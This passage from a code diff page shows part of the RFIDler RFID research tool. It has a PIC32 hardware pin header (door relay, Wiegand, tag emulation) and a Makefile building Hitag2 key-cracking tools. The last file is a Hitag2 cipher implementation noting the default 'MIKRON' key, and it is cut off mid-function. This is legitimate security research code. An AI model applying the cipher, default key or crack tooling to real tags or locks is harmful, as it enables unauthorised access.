* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie <adam@aperturelabs.com>
#ifndef HARDWARE_PROFILE_UBW32_H
#define HARDWARE_PROFILE_UBW32_H
//#include "plib.h"
typedef char BOOL;
typedef char BYTE;
typedef int rtccTime;
typedef int rtccDate;
#ifndef __PIC32MX__
#define __PIC32MX__
#endif
#define GetSystemClock() (80000000ul)
#define GetPeripheralClock() (GetSystemClock())
#define GetInstructionClock() (GetSystemClock())
//#define USE_SELF_POWER_SENSE_IO
#define tris_self_power TRISAbits.TRISA2 // Input
#define self_power 1
//#define USE_USB_BUS_SENSE_IO
#define tris_usb_bus_sense TRISBbits.TRISB5 // Input
#define USB_BUS_SENSE 1
// LEDs
#define mLED_1 LATEbits.LATE3
#define mLED_2 LATEbits.LATE2
#define mLED_Comms mLED_2
#define mLED_3 LATEbits.LATE1
#define mLED_Clock mLED_3
#define mLED_4 LATEbits.LATE0
#define mLED_Emulate mLED_4
#define mLED_5 LATGbits.LATG6
#define mLED_Read mLED_5
#define mLED_6 LATAbits.LATA15
#define mLED_User mLED_6
#define mLED_7 LATDbits.LATD11
#define mLED_Error mLED_7
// active low
#define mLED_ON 0
#define mLED_OFF 1
#define mGetLED_1() mLED_1
#define mGetLED_USB() mLED_1
#define mGetLED_2() mLED_2
#define mGetLED_Comms() mLED_2
#define mGetLED_3() mLED_3
#define mGetLED_Clock() mLED_3
#define mGetLED_4() mLED_4
#define mGetLED_Emulate() mLED_4
#define mGetLED_5() mLED_5
#define mGetLED_Read() mLED_5
#define mGetLED_6() mLED_6
#define mGetLED_User() mLED_6
#define mGetLED_7() mLED_7
#define mGetLED_Error() mLED_7
#define mLED_1_On() mLED_1 = mLED_ON
#define mLED_USB_On() mLED_1_On()
#define mLED_2_On() mLED_2 = mLED_ON
#define mLED_Comms_On() mLED_2_On()
#define mLED_3_On() mLED_3 = mLED_ON
#define mLED_Clock_On() mLED_3_On()
#define mLED_4_On() mLED_4 = mLED_ON
#define mLED_Emulate_On() mLED_4_On()
#define mLED_5_On() mLED_5 = mLED_ON
#define mLED_Read_On() mLED_5_On()
#define mLED_6_On() mLED_6 = mLED_ON
#define mLED_User_On() mLED_6_On()
#define mLED_7_On() mLED_7 = mLED_ON
#define mLED_Error_On() mLED_7_On()
#define mLED_1_Off() mLED_1 = mLED_OFF
#define mLED_USB_Off() mLED_1_Off()
#define mLED_2_Off() mLED_2 = mLED_OFF
#define mLED_Comms_Off() mLED_2_Off()
#define mLED_3_Off() mLED_3 = mLED_OFF
#define mLED_Clock_Off() mLED_3_Off()
#define mLED_4_Off() mLED_4 = mLED_OFF
#define mLED_Emulate_Off() mLED_4_Off()
#define mLED_5_Off() mLED_5 = mLED_OFF
#define mLED_Read_Off() mLED_5_Off()
#define mLED_6_Off() mLED_6 = mLED_OFF
#define mLED_User_Off() mLED_6_Off()
#define mLED_7_Off() mLED_7 = mLED_OFF
#define mLED_Error_Off() mLED_7_Off()
#define mLED_1_Toggle() mLED_1 = !mLED_1
#define mLED_USB_Toggle() mLED_1_Toggle()
#define mLED_2_Toggle() mLED_2 = !mLED_2
#define mLED_Comms_Toggle() mLED_2_Toggle()
#define mLED_3_Toggle() mLED_3 = !mLED_3
#define mLED_Clock_Toggle() mLED_3_Toggle()
#define mLED_4_Toggle() mLED_4 = !mLED_4
#define mLED_Emulate_Toggle() mLED_4_Toggle()
#define mLED_5_Toggle() mLED_5 = !mLED_5
#define mLED_Read_Toggle( ) mLED_5_Toggle()
#define mLED_6_Toggle() mLED_6 = !mLED_6
#define mLED_User_Toggle() mLED_6_Toggle()
#define mLED_7_Toggle() mLED_7 = !mLED_7
#define mLED_Error_Toggle() mLED_7_Toggle()
#define mLED_All_On() { mLED_1_On(); mLED_2_On(); mLED_3_On(); mLED_4_On(); mLED_5_On(); mLED_6_On(); mLED_7_On(); }
#define mLED_All_Off() { mLED_1_Off(); mLED_2_Off(); mLED_3_Off(); mLED_4_Off(); mLED_5_Off(); mLED_6_Off(); mLED_7_Off(); }
// usb status lights
#define mLED_Both_Off() {mLED_USB_Off();mLED_Comms_Off();}
#define mLED_Both_On() {mLED_USB_On();mLED_Comms_On();}
#define mLED_Only_USB_On() {mLED_USB_On();mLED_Comms_Off();}
#define mLED_Only_Comms_On() {mLED_USB_Off();mLED_Comms_On();}
/** SWITCH *********************************************************/
#define swBootloader PORTEbits.RE7
#define swUser PORTEbits.RE6
/** I/O pin definitions ********************************************/
#define INPUT_PIN 1
#define OUTPUT_PIN 0
#define TRUE 1
#define FALSE 0
#define ENABLE 1
#define DISABE 0
#define EVEN 0
#define ODD 1
#define LOW FALSE
#define HIGH TRUE
#define CLOCK_ON LOW
#define CLOCK_OFF HIGH
// output coil control - select between reader/emulator circuits
#define COIL_MODE LATBbits.LATB4
#define COIL_MODE_READER() COIL_MODE= LOW
#define COIL_MODE_EMULATOR() COIL_MODE= HIGH
// coil for emulation
#define COIL_OUT LATGbits.LATG9
#define COIL_OUT_HIGH() COIL_OUT=HIGH
#define COIL_OUT_LOW() COIL_OUT=LOW
// door relay (active low)
#define DOOR_RELAY LATAbits.LATA14
#define DOOR_RELAY_OPEN() DOOR_RELAY= HIGH
#define DOOR_RELAY_CLOSE() DOOR_RELAY= LOW
// inductance/capacitance freq
#define IC_FREQUENCY PORTAbits.RA2
#define SNIFFER_COIL PORTDbits.RD12 // external reader clock detect
#define READER_ANALOGUE PORTBbits.RB11 // reader coil analogue
#define DIV_LOW_ANALOGUE PORTBbits.RB12 // voltage divider LOW analogue
#define DIV_HIGH_ANALOGUE PORTBbits.RB13 // voltage divider HIGH analogue
// clock coil (normally controlled by OC Module, but defined here so we can force it high or low)
#define CLOCK_COIL PORTDbits.RD4
#define CLOCK_COIL_MOVED PORTDbits.RD0 // temporary for greenwire
// digital output after analogue reader circuit
#define READER_DATA PORTDbits.RD8
// trace / debug
#define DEBUG_PIN_1 LATCbits.LATC1
#define DEBUG_PIN_1_TOGGLE() DEBUG_PIN_1= !DEBUG_PIN_1
#define DEBUG_PIN_2 LATCbits.LATC2
#define DEBUG_PIN_2_TOGGLE() DEBUG_PIN_2= !DEBUG_PIN_2
#define DEBUG_PIN_3 LATCbits.LATC3
#define DEBUG_PIN_3_TOGGLE() DEBUG_PIN_3= !DEBUG_PIN_3
#define DEBUG_PIN_4 LATEbits.LATE5
#define DEBUG_PIN_4_TOGGLE() DEBUG_PIN_4= !DEBUG_PIN_4
// spi (sdi1) for sd card (not directly referenced)
//#define SD_CARD_RX LATCbits.LATC4
//#define SD_CARD_TX LATDbits.LATD0
//#define SD_CARD_CLK LATDbits.LATD10
//#define SD_CARD_SS LATDbits.LATD9
// spi for SD card
#define SD_CARD_DET LATFbits.LATF0
#define SD_CARD_WE LATFbits.LATF1 // write enable - unused for microsd but allocated anyway as library checks it
// (held LOW by default - cut solder bridge to GND to free pin if required)
#define SPI_SD SPI_CHANNEL1
#define SPI_SD_BUFF SPI1BUF
#define SPI_SD_STAT SPI1STATbits
// see section below for more defines!
// iso 7816 smartcard
// microchip SC module defines pins so we don't need to, but
// they are listed here to help avoid conflicts
#define ISO_7816_RX LATBbits.LATF2 // RX
#define ISO_7816_TX LATBbits.LATF8 // TX
#define ISO_7816_VCC LATBbits.LATB9 // Power
#define ISO_7816_CLK LATCbits.LATD1 // Clock
#define ISO_7816_RST LATEbits.LATE8 // Reset
// user LED
#define USER_LED LATDbits.LATD7
#define USER_LED_ON() LATDbits.LATD7=1
#define USER_LED_OFF() LATDbits.LATD7=0
// LCR
#define LCR_CALIBRATE LATBbits.LATB5
// wiegand / clock & data
#define WIEGAND_IN_0 PORTDbits.RD5
#define WIEGAND_IN_0_PULLUP CNPUEbits.CNPUE14
#define WIEGAND_IN_0_PULLDOWN CNPDbits.CNPD14
#define WIEGAND_IN_1 PORTDbits.RD6
#define WIEGAND_IN_1_PULLUP CNPUEbits.CNPUE15
#define WIEGAND_IN_1_PULLDOWN CNPDbits.CNPD15
#define CAND_IN_DATA WIEGAND_IN_0
#define CAND_IN_CLOCK WIEGAND_IN_1
#define WIEGAND_OUT_0 LATDbits.LATD3
#define WIEGAND_OUT_1 LATDbits.LATD2
#define WIEGAND_OUT_0_TRIS TRISDbits.TRISD3
#define WIEGAND_OUT_1_TRIS TRISDbits.TRISD2
#define CAND_OUT_DATA WIEGAND_OUT_0
#define CAND_OUT_CLOCK WIEGAND_OUT_1
// connect/disconnect reader clock from coil - used to send RWD signals by creating gaps in carrier
#define READER_CLOCK_ENABLE LATEbits.LATE9
#define READER_CLOCK_ENABLE_ON() READER_CLOCK_ENABLE=CLOCK_ON
#define READER_CLOCK_ENABLE_OFF(x) {READER_CLOCK_ENABLE=CLOCK_OFF; COIL_OUT=x;}
// these input pins must NEVER bet set to output or they will cause short circuits!
// they can be used to see data from reader before it goes into or gate
#define OR_IN_A PORTAbits.RA4
#define OR_IN_B PORTAbits.RA5
// CNCON and CNEN are set to allow wiegand input pin weak pullups to be switched on
#define Init_GPIO() { \
CNCONbits.ON= TRUE; \
CNENbits.CNEN14= TRUE; \
CNENbits.CNEN15= TRUE; \
TRISAbits.TRISA2= INPUT_PIN; \
TRISAbits.TRISA4= INPUT_PIN; \
TRISAbits.TRISA5= INPUT_PIN; \
TRISAbits.TRISA14= OUTPUT_PIN; \
TRISAbits.TRISA15= OUTPUT_PIN; \
TRISBbits.TRISB4= OUTPUT_PIN; \
TRISBbits.TRISB5= OUTPUT_PIN; \
TRISBbits.TRISB9= OUTPUT_PIN; \
TRISBbits.TRISB11= INPUT_PIN; \
TRISBbits.TRISB12= INPUT_PIN; \
TRISBbits.TRISB13= INPUT_PIN; \
TRISCbits.TRISC1= OUTPUT_PIN; \
TRISCbits.TRISC2= OUTPUT_PIN; \
TRISCbits.TRISC3= OUTPUT_PIN; \
TRISCbits.TRISC4= INPUT_PIN; \
TRISDbits.TRISD0= INPUT_PIN; \
TRISDbits.TRISD1= OUTPUT_PIN; \
TRISDbits.TRISD2= OUTPUT_PIN; \
TRISDbits.TRISD3= OUTPUT_PIN; \
TRISDbits.TRISD4= OUTPUT_PIN; \
TRISDbits.TRISD5= INPUT_PIN; \
TRISDbits.TRISD6= INPUT_PIN; \
TRISDbits.TRISD7= OUTPUT_PIN; \
TRISDbits.TRISD8= INPUT_PIN; \
TRISDbits.TRISD11= OUTPUT_PIN; \
TRISDbits.TRISD12= INPUT_PIN; \
TRISEbits.TRISE0= OUTPUT_PIN; \
TRISEbits.TRISE1= OUTPUT_PIN; \
TRISEbits.TRISE2= OUTPUT_PIN; \
TRISEbits.TRISE3= OUTPUT_PIN; \
TRISEbits.TRISE5= OUTPUT_PIN; \
TRISEbits.TRISE6= INPUT_PIN; \
TRISEbits.TRISE7= INPUT_PIN; \
TRISEbits.TRISE8= OUTPUT_PIN; \
TRISEbits.TRISE9= OUTPUT_PIN; \
TRISFbits.TRISF0= INPUT_PIN; \
TRISFbits.TRISF1= INPUT_PIN; \
TRISFbits.TRISF2= INPUT_PIN; \
TRISFbits.TRISF8= OUTPUT_PIN; \
TRISGbits.TRISG6= OUTPUT_PIN; \
TRISGbits.TRISG12= INPUT_PIN; \
TRISGbits.TRISG13= INPUT_PIN; \
TRISGbits.TRISG9= OUTPUT_PIN; \
LATBbits.LATB9= LOW; \
LATCbits.LATC1= LOW; \
LATCbits.LATC2= LOW; \
LATCbits.LATC3= LOW; \
LATDbits.LATD2= WIEGAND_IN_1; \
LATDbits.LATD3= WIEGAND_IN_0; \
LATEbits.LATE5= LOW; \
LATEbits.LATE9= HIGH; \
}
// uart3 (CLI/API) speed
#define BAUDRATE3 115200UL
#define BRG_DIV3 4
#define BRGH3 1
// spi for potentiometer
#define SPI_POT SPI_CHANNEL4
#define SPI_POT_BUFF SPI4BUF
#define SPI_POT_STAT SPI4STATbits
// spi for sd card - defines required for Microchip SD-SPI libs
// define interface type
#define USE_SD_INTERFACE_WITH_SPI
#define MDD_USE_SPI_1
#define SPI_START_CFG_1 (PRI_PRESCAL_64_1 | SEC_PRESCAL_8_1 | MASTER_ENABLE_ON | SPI_CKE_ON | SPI_SMP_ON)
#define SPI_START_CFG_2 (SPI_ENABLE)
// Define the SPI frequency
#define SPI_FREQUENCY (20000000)
// Description: SD-SPI Card Detect Input bit
#define SD_CD PORTFbits.RF0
// Description: SD-SPI Card Detect TRIS bit
#define SD_CD_TRIS TRISFbits.TRISF0
// Description: SD-SPI Write Protect Check Input bit
#define SD_WE PORTFbits.RF1
// Description: SD-SPI Write Protect Check TRIS bit
#define SD_WE_TRIS TRISFbits.TRISF1
// Description: The main SPI control register
#define SPICON1 SPI1CON
// Description: The SPI status register
#define SPISTAT SPI1STAT
// Description: The SPI Buffer
#define SPIBUF SPI1BUF
// Description: The receive buffer full bit in the SPI status register
#define SPISTAT_RBF SPI1STATbits.SPIRBF
// Description: The bitwise define for the SPI control register (i.e. _____bits)
#define SPICON1bits SPI1CONbits
// Description: The bitwise define for the SPI status register (i.e. _____bits)
#define SPISTATbits SPI1STATbits
// Description: The enable bit for the SPI module
#define SPIENABLE SPICON1bits.ON
// Description: The definition for the SPI baud rate generator register (PIC32)
#define SPIBRG SPI1BRG
// Description: The TRIS bit for the SCK pin
#define SPICLOCK TRISDbits.TRISD10
// Description: The TRIS bit for the SDI pin
#define SPIIN TRISCbits.TRISC4
// Description: The TRIS bit for the SDO pin
#define SPIOUT TRISDbits.TRISD0
#define SD_CS LATDbits.LATD9
// Description: SD-SPI Chip Select TRIS bit
#define SD_CS_TRIS TRISDbits.TRISD9
//SPI library functions
#define putcSPI putcSPI1
#define getcSPI getcSPI1
#define OpenSPI(config1, config2) OpenSPI1(config1, config2)
// Define setup parameters for OpenADC10 function
// Turn module on | Ouput in integer format | Trigger mode auto | Enable autosample
#define ADC_CONFIG1 (ADC_FORMAT_INTG | ADC_CLK_AUTO | ADC_AUTO_SAMPLING_ON)
// ADC ref external | Disable offset test | Disable scan mode | Perform 2 samples | Use dual buffers | Use alternate mode
#define ADC_CONFIG2 (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_1 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)
// Use ADC internal clock | Set sample time
#define ADC_CONFIG3 (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_0)
// slow sample rate for tuning coils
#define ADC_CONFIG2_SLOW (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_16 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)
#define ADC_CONFIG3_SLOW (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_31)
// use AN11
#define ADC_CONFIGPORT ENABLE_AN11_ANA
// Do not assign channels to scan
#define ADC_CONFIGSCAN SKIP_SCAN_ALL
#define ADC_TO_VOLTS 0.003208F
// flash memory - int myvar = *(int*)(myflashmemoryaddress);
// memory is 0x9D005000 to 0x9D07FFFF
#define NVM_MEMORY_END 0x9D07FFFF
#define NVM_PAGE_SIZE 4096
#define NVM_PAGES 2 // config & VTAG
#define RFIDLER_NVM_ADDRESS (NVM_MEMORY_END - (NVM_PAGE_SIZE * NVM_PAGES))
// UART timeout in us
#define SERIAL_TIMEOUT 100
#endif

View file

@ -0,0 +1,26 @@
WARN=-Wall
INCLUDE=-I../include
CFLAGS=-c $(WARN) $(INCLUDE)
# Linux libs
LIBS=-pthread -D_GNU_SOURCE
# Mac libs
# LIBS=
all: ht2crack2buildtable.c ht2crack2search.c ht2crack2gentest.c hitagcrypto.o utilpart.o ht2crack2utils.o
cc $(WARN) -o ht2crack2buildtable ht2crack2buildtable.c hitagcrypto.o ht2crack2utils.o $(LIBS)
cc $(WARN) -o ht2crack2search ht2crack2search.c hitagcrypto.o utilpart.o ht2crack2utils.o $(LIBS)
cc $(WARN) -o ht2crack2gentest ht2crack2gentest.c hitagcrypto.o utilpart.o ht2crack2utils.o $(LIBS)
ht2crack2utils.o: ht2crack2utils.c ht2crack2utils.h
cc $(CFLAGS) ht2crack2utils.c
hitagcrypto.o: hitagcrypto.c hitagcrypto.h
cc $(CFLAGS) hitagcrypto.c
utilpart.o: utilpart.c util.h
cc $(CFLAGS) utilpart.c
clean:
rm -rf *.o ht2crack2buildtable ht2crack2search ht2crack2gentest
fresh: clean all

View file

@ -0,0 +1,487 @@
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: unknown.
// Modifications for RFIDler: Tony Naggs <tony.naggs@gmail.com>, Adam Laurie <adam@aperturelabs.com>
// uncomment this to build file as a standalone crypto test program
// #define UNIT_TEST
// also uncomment to include verbose debug prints
// #define TEST_DEBUG
//#include <GenericTypeDefs.h>
#include "HardwareProfile.h"
#include "rfidler.h"
#include "hitagcrypto.h"
#include "util.h"
#ifdef UNIT_TEST
#include <stdio.h>
#endif
#if defined(UNIT_TEST) && defined(TEST_DEBUG)
// Note that printf format %I64x prints 64 bit ints in MS Visual C/C++.
// This may need changing for other compilers/platforms.
#define DEBUG_PRINTF(...) printf(__VA_ARGS__)
#else
#define DEBUG_PRINTF(...)
#endif
/* Brief info about NXP Hitag 1, Hitag 2, Hitag S and Hitag u (mu)
Hitag 125kHz RFID was created by a company called Mikron (Mikron Gesellschaft
fur Integrierte Mikroelektronik Mbh), of Austria, for micropayment applications.
At about the same time, late 1980s to early 1990s, Mikron developed the
similarly featured Mifare micropayment card for 13.56MHz RFID.
(Mikron's European Patent EP 0473569 A2 was filed 23 August 1991, with a
priority date of 23 Aug 1990.)
Mikron was subsequently acquired by Philips Semiconductors in 1995.
Philips Semiconductors divsion subsequently became NXP.
+ Modulation read/write device -> transponder: 100 % ASK and binary pulse
length coding
+ Modulation transponder -> read/write device: Strong ASK modulation,
selectable Manchester or Biphase coding
+ Hitag S, Hitag u; anti-collision procedure
+ Fast anti-collision protocol
+ Hitag u; optional Cyclic Redundancy Check (CRC)
+ Reader Talks First mode
+ Hitag 2 & later; Transponder Talks First (TTF) mode
+ Temporary switch from Transponder Talks First into Reader Talks First
(RTF) Mode
+ Data rate read/write device to transponder: 5.2 kbit/s
+ Data rates transponder to read/write device: 2 kbit/s, 4 kbit/s, 8 kbit/s
+ 32-bit password feature
+ Hitag 2, S = 32-bit Unique Identifier
+ Hitag u = 48-bit Unique Identifier
+ Selectable password modes for reader / tag mutual authentication
(Hitag 1 has 2 pairs of keys, later versions have 1 pair)
+ Hitag 2 & Hitag S; Selectable encrypted mode, 48 bit key
Known tag types:
HITAG 1 2048 bits total memory
HITAG 2 256 Bit total memory Read/Write
8 pages of 32 bits, inc UID (32),
secret key (64), password (24), config (8)
HITAG S 32 32 bits Unique Identifier Read Only
HITAG S 256 256 bits total memory Read/Write
HITAG S 2048 2048 bits total memory Read/Write
HITAG u RO64 64 bits total memory Read Only
HITAG u 128 bits total memory Read/Write
HITAG u Advanced 512 bits total memory Read/Write
HITAG u Advanced+ 1760 bits total memory Read/Write
Default 48-bit key for Hitag 2, S encryption:
"MIKRON" = O N M I K R
Key = 4F 4E 4D 49 4B 52
*/
// We want the crypto functions to be as fast as possible, so optimize!
// The best compiler optimization in Microchip's free XC32 edition is -O1
//#pragma GCC optimize("O1")
// private, nonlinear function to generate 1 crypto bit
static uint32_t hitag2_crypt(uint64_t x);
// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number
#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) )
#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) )
#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
((S >> (C - 2)) & 0xC) )
#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \
((S >> (C - 3)) & 8) )
#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \
((S >> (C - 3)) & 8) )
static uint32_t hitag2_crypt(uint64_t s)
{
const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001
const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001
const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011
uint32_t bitindex;
bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1;
bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02;
bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04;
bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08;
bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10;
DEBUG_PRINTF("hitag2_crypt bitindex = %02x\n", bitindex);
return (ht2_function5c >> bitindex) & 1;
}
/*
* Parameters:
* Hitag_State* pstate - output, internal state after initialisation
* uint64_t sharedkey - 48 bit key shared between reader & tag
* uint32_t serialnum - 32 bit tag serial number
* uint32_t initvector - 32 bit random IV from reader, part of tag authentication
*/
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector)
{
// init state, from serial number and lowest 16 bits of shared key
uint64_t state = ((sharedkey & 0xFFFF) << 32) | serialnum;
// mix the initialisation vector and highest 32 bits of the shared key
initvector ^= (uint32_t) (sharedkey >> 16);
// move 16 bits from (IV xor Shared Key) to top of uint64_t state
// these will be XORed in turn with output of the crypto function
state |= (uint64_t) initvector << 48;
initvector >>= 16;
// unrolled loop is faster on PIC32 (MIPS), do 32 times
// shift register, then calc new bit
state >>= 1;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
// highest 16 bits of IV XOR Shared Key
state |= (uint64_t) initvector << 47;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
